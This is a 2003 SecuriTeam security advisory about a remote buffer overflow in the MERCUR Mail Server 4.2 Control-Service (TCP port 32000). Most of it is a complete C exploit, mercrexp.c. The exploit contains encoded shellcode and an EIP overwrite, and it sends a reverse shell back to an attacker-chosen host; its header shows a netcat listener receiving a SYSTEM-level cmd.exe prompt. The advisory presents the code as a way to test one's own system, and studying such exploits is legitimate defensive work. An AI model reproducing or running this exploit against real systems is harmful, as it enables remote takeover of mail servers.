[NT] MERCUR Mail Server Control-Service Vulnerability (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 10/28/03

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      MERCUR Mail Server Control-Service Vulnerability (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    A vulnerability in MERCUR's Control-Service allows remote attackers to
    overflow an internal buffer, causing it to execute arbitrary code. The
    following exploit code can be used to test your system for the mentioned
    vulnerability.

    DETAILS

    Vulnerable systems:
     * MERCUR version 4.2

    By sending a command in the following format:
    <260 bytes><EBP><EIP>

    To MERCUR's Control-Service (listening port TCP 32000), it is possible to
    cause the program to execute arbitrary code.

    Exploit:
    /*
      mercrexp.c (7/16/2002)

      # ./mercrexp 192.168.0.2 32000 192.168.1.2 3333
      # nc -l -p 3333
      Microsoft Windows 2000 [Version 5.00.2195]
      (C) Copyright 1985-2000 Microsoft Corp.
      
      E:\WINNT\system32>

      2c79cbe14ac7d0b8472d3f129fa1df55
    (c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com)
    */

    #include <stdio.h>
    #include <string.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <sys/errno.h>

    // CALL EBX; mcrctrl.exe@0x228e
    #define EIP "\x8e\x2c\x40\x00"

    // payload.. dumped into remote memory as failed 'username'
    // dark spyrit's shell, ripped from jill.c
    unsigned char shell[] =
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90"
       "\x90\x90\x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30\x95"
       "\x40\xe2\xfa\x2d\x95\x95\x64\xe2\x14\xad\xd8\xcf\x05\x95"
       "\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95\xc8\x1e\x40\x14"
       "\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3"
       "\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3"
       "\xc2\xc4\x1e\xaa\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66"
       "\x33\xe1\x9d\xcc\xca\x16\x52\x91\xd0\x77\x72\xcc\xca\xcb"
       "\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6\x5c\xf3"
       "\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95"
       "\x96\x56\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d"
       "\xe1\x94\x95\x95\xa6\x55\x39\x10\x55\xe0\x6c\xc7\xc3\x6a"
       "\xc2\x41\xcf\x1e\x4d\x2c\x93\x95\x95\x95\x7d\xce\x94\x95"
       "\x95\x52\xd2\xf1\x99\x95\x95\x95\x52\xd2\xfd\x95\x95\x95"
       "\x95\x52\xd2\xf9\x94\x95\x95\x95\xff\x95\x18\xd2\xf1\xc5"
       "\x18\xd2\x85\xc5\x18\xd2\x81\xc5\x6a\xc2\x55\xff\x95\x18"
       "\xd2\xf1\xc5\x18\xd2\x8d\xc5\x18\xd2\x89\xc5\x6a\xc2\x55"
       "\x52\xd2\xb5\xd1\x95\x95\x95\x18\xd2\xb5\xc5\x6a\xc2\x51"
       "\x1e\xd2\x85\x1c\xd2\xc9\x1c\xd2\xf5\x1e\xd2\x89\x1c\xd2"
       "\xcd\x14\xda\xd9\x94\x94\x95\x95\xf3\x52\xd2\xc5\x95\x95"
       "\x18\xd2\xe5\xc5\x18\xd2\xb5\xc5\xa6\x55\xc5\xc5\xc5\xff"
       "\x94\xc5\xc5\x7d\x95\x95\x95\x95\xc8\x14\x78\xd5\x6b\x6a"
       "\x6a\xc0\xc5\x6a\xc2\x5d\x6a\xe2\x85\x6a\xc2\x71\x6a\xe2"
       "\x89\x6a\xc2\x71\xfd\x95\x91\x95\x95\xff\xd5\x6a\xc2\x45"
       "\x1e\x7d\xc5\xfd\x94\x94\x95\x95\x6a\xc2\x7d\x10\x55\x9a"
       "\x10\x3f\x95\x95\x95\xa6\x55\xc5\xd5\xc5\xd5\xc5\x6a\xc2"
       "\x79\x16\x6d\x6a\x9a\x11\x02\x95\x95\x95\x1e\x4d\xf3\x52"
       "\x92\x97\x95\xf3\x52\xd2\x97\x80\x26\x52\xd2\x91\x55\x3d"
       "\x95\x94\xff\x85\x18\x92\xc5\xc6\x6a\xc2\x61\xff\xa7\x6a"
       "\xc2\x49\xa6\x5c\xc4\xc3\xc4\xc4\xc4\x6a\xe2\x81\x6a\xc2"
       "\x59\x10\x55\xe1\xf5\x05\x05\x05\x05\x15\xab\x95\xe1\xba"
       "\x05\x05\x05\x05\xff\x95\xc3\xfd\x95\x91\x95\x95\xc0\x6a"
       "\xe2\x81\x6a\xc2\x4d\x10\x55\xe1\xd5\x05\x05\x05\x05\xff"
       "\x95\x6a\xa3\xc0\xc6\x6a\xc2\x6d\x16\x6d\x6a\xe1\xbb\x05"
       "\x05\x05\x05\x7e\x27\xff\x95\xfd\x95\x91\x95\x95\xc0\xc6"
       "\x6a\xc2\x69\x10\x55\xe9\x8d\x05\x05\x05\x05\xe1\x09\xff"
       "\x95\xc3\xc5\xc0\x6a\xe2\x8d\x6a\xc2\x41\xff\xa7\x6a\xc2"
       "\x49\x7e\x1f\xc6\x6a\xc2\x65\xff\x95\x6a\xc2\x75\xa6\x55"
       "\x39\x10\x55\xe0\x6c\xc4\xc7\xc3\xc6\x6a\x47\xcf\xcc\x3e"
       "\x77\x7b\x56\xd2\xf0\xe1\xc5\xe7\xfa\xf6\xd4\xf1\xf1\xe7"
       "\xf0\xe6\xe6\x95\xd9\xfa\xf4\xf1\xd9\xfc\xf7\xe7\xf4\xe7"
       "\xec\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xfc\xe5\xf0\x95"
       "\xd2\xf0\xe1\xc6\xe1\xf4\xe7\xe1\xe0\xe5\xdc\xfb\xf3\xfa"
       "\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xe7\xfa\xf6\xf0\xe6"
       "\xe6\xd4\x95\xc5\xf0\xf0\xfe\xdb\xf4\xf8\xf0\xf1\xc5\xfc"
       "\xe5\xf0\x95\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6"
       "\x95\xc2\xe7\xfc\xe1\xf0\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4"
       "\xf1\xd3\xfc\xf9\xf0\x95\xc6\xf9\xf0\xf0\xe5\x95\xd0\xed"
       "\xfc\xe1\xc5\xe7\xfa\xf6\xf0\xe6\xe6\x95\xd6\xf9\xfa\xe6"
       "\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6"
       "\xa7\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6"
       "\xfa\xf6\xfe\xf0\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6"
       "\xfe\xf0\xe1\x95\xf6\xfa\xfb\xfb\xf0\xf6\xe1\x95\xe6\xf0"
       "\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8\xf1\xbb\xf0\xed"
       "\xf0\x95\x0a";

    // fake user
    unsigned char user[] = "\x78\x78\x78\x78\x0a";

    // ebp/eip overwrite
    unsigned char passwd[] =
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x03\xde\x83\xc3\x02\xff\xd3\xc3\x10"EIP""
       "\x0a";

    main(char argc, char **argv){
          int fd;
          int bufsize = 1024;
          int buffer = malloc(bufsize);
          unsigned short int a_port;
          unsigned long a_host;
          struct sockaddr_in sin;
          struct hostent *he;
          struct in_addr in;

      printf("MERCUR Mailserver 4.2.0.0 remote 'SYSTEM' level exploit
    (07/16/2002)\n");
          printf("2c79cbe14ac7d0b8472d3f129fa1df55
    (c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com)\n\n");

          if (argc < 5){
               printf("usage: %s <targethost> <controlport> <localhost>
    <localport>\n", argv[0]);
               printf(" controlport: MERCUR Control-Service port (default
    32000)\n\n");
       printf("NOTE: tested against win2k and winxp pro..\n\n");
               exit(-1);
          }

      // riiiiiiip
          a_port = htons(atoi(argv[4]));
          a_port ^= 0x9595;
          if ((he = gethostbyname(argv[3])) == 0){herror(argv[3]);exit(-1);}
          a_host = *((unsigned long *)he->h_addr);
          a_host ^= 0x95959595;
          shell[1113] = ((a_port) & 0xff);
          shell[1114] = ((a_port >> 8) & 0xff);
          shell[1118] = ((a_host) & 0xff);
          shell[1119] = ((a_host >> 8) & 0xff);
          shell[1120] = ((a_host >> 16) & 0xff);
          shell[1121] = ((a_host >> 24) & 0xff);

          if((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) <
    0){perror("socket error");exit(-1);}

          if ((he = gethostbyname(argv[1])) != NULL){memcpy (&in, he->h_addr,
    he->h_length);}
          else
          if ((inet_aton(argv[1], &in)) < 0){printf("unable to resolve
    host");exit(-1);}

          sin.sin_family = AF_INET;
          sin.sin_addr.s_addr = inet_addr(inet_ntoa(in));
          sin.sin_port = htons(atoi(argv[2]));

      printf("ret: 0x00402c8e (mrcctrl.exe v.4.2.1.0)\n\n");
     
          printf("connecting to tcp port %s...\n", argv[2]);
          if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) <
    0){perror("connection error");exit(-1);}
     
          printf("connected.\n\n");
      sleep(1);
      printf("dumping payload...");
          if(write(fd, shell, strlen(shell)) < strlen(shell)){perror("write
    error");exit(-1);}
      printf("done\n");
          sleep(1);
          printf("sending fake login...");
          if(write(fd, user, strlen(user)) < strlen(user)){perror("write
    error");exit(-1);}
          printf("done\n");
      sleep(1);
      printf("eip overrun...");
      if(write(fd, passwd, strlen(passwd)) < strlen(passwd)){perror("write
    error");exit(-1);}
      printf("done\n\n");

      printf("cmd.exe spawned to [%s:%s]\n\n", argv[3], argv[4]);

          close(fd);

    }

    ADDITIONAL INFORMATION

    The information has been provided by Anonymous.

    ========================================

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